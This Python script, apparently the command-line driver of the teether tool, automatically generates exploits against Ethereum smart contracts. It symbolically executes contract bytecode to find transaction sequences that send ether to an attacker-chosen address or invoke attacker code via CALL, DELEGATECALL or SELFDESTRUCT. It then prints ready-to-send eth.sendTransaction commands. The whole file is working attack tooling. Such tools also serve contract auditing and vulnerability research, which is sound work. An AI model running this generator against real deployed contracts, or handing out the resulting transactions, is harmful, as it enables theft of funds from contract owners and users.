gen_exploit.py

#!/usr/bin/env python3
import json
import logging
import resource
import sys

from teether.exploit import combined_exploit
from teether.project import Project

logging.basicConfig(level=logging.INFO)


def hex_encode(d):
    return {k: v.hex() if isinstance(v, bytes) else v for k, v in d.items()}


def main(code_path, target_addr, shellcode_addr, amount, savefile=None, initial_storage_file=None, initial_balance=None,
         flags=None):
    savefilebase = savefile or code_path
    if code_path.endswith('.json'):
        with open(code_path, 'rb') as f:
            jd = json.load(f)
        p = Project.from_json(jd)
    else:
        with open(code_path) as infile:
            inbuffer = infile.read().rstrip()
        code = bytes.fromhex(inbuffer)
        p = Project(code)
        with open('%s.project.json' % savefilebase, 'w') as f:
            json.dump(p.to_json(), f)

    amount_check = '+'
    amount = amount.strip()
    if amount[0] in ('=', '+', '-'):
        amount_check = amount[0]
        amount = amount[1:]
    amount = int(amount)

    initial_storage = dict()
    if initial_storage_file:
        with open(initial_storage_file, 'rb') as f:
            initial_storage = {int(k, 16): int(v, 16) for k, v in json.load(f).items()}

    flags = flags or {'CALL', 'CALLCODE', 'DELEGATECALL', 'SELFDESTRUCT'}

    result = combined_exploit(p, int(target_addr, 16), int(shellcode_addr, 16), amount, amount_check,
                              initial_storage, initial_balance, flags=flags)
    if result:

        call, r, model = result

        print(model)

        with open('%s.exploit.json' % savefilebase, 'w') as f:
            json.dump({'paths': [{'index': i, 'path': [ins for ins in res.state.trace if
                                                       ins in p.cfg.bb_addrs or ins == res.state.trace[-1]]} for
                                 i, res in enumerate(r.results)],
                       'calls': [{'index': i, 'call': hex_encode(c)} for i, c in enumerate(call)]}, f)

        for i, res in enumerate(r.results):
            print('%d: %s' % (
                i, '->'.join('%x' % i for i in res.state.trace if i in p.cfg.bb_addrs or i == res.state.trace[-1])))
        print(call)
        print
        for c in call:
            if c['caller'] == c['origin']:
                print('eth.sendTransaction({from:"0x%040x", data:"0x%s", to:"0x4000000000000000000000000000000000000000"%s, gasPrice:0})' % (
                    c['origin'], c.get('payload', b'').hex(),
                    ", value:%d" % c['value'] if c.get('value', 0) else ''))
            else:
                print('eth.sendTransaction({from:"0x%040x", data:"0x%s", to:"0x%040x"%s, gasPrice:0})' % (
                    c['origin'], c.get('payload', b'').hex(), c['caller'],
                    ", value:%d" % c['value'] if c.get('value', 0) else ''))

        return True
    return False


if __name__ == '__main__':
    # limit memory to 8GB
    mem_limit = 8 * 1024 * 1024 * 1024
    try:
        rsrc = resource.RLIMIT_VMEM
    except:
        rsrc = resource.RLIMIT_AS
    resource.setrlimit(rsrc, (mem_limit, mem_limit))

    fields = ['code', 'target-address', 'shellcode-address', 'target_amount', 'savefile', 'initial-storage',
              'initial-balance']
    config = {f: None for f in fields}
    config['flags'] = set()

    field_iter = iter(fields)
    for arg in sys.argv[1:]:
        if arg.startswith('--'):
            config['flags'].add(arg[2:].upper())
        else:
            field = next(field_iter)
            config[field] = arg

    if config['target_amount'] is None:
        print('Usage: %s [flags] <code> <target-address> <shellcode-address> <target_amount> [savefile] [initial-storage file] [initial-balance]' % \
              sys.argv[0], file=sys.stderr)
        exit(-1)

    main(config['code'], config['target-address'], config['shellcode-address'], config['target_amount'],
         config['savefile'], config['initial-storage'], config['initial-balance'], config['flags'])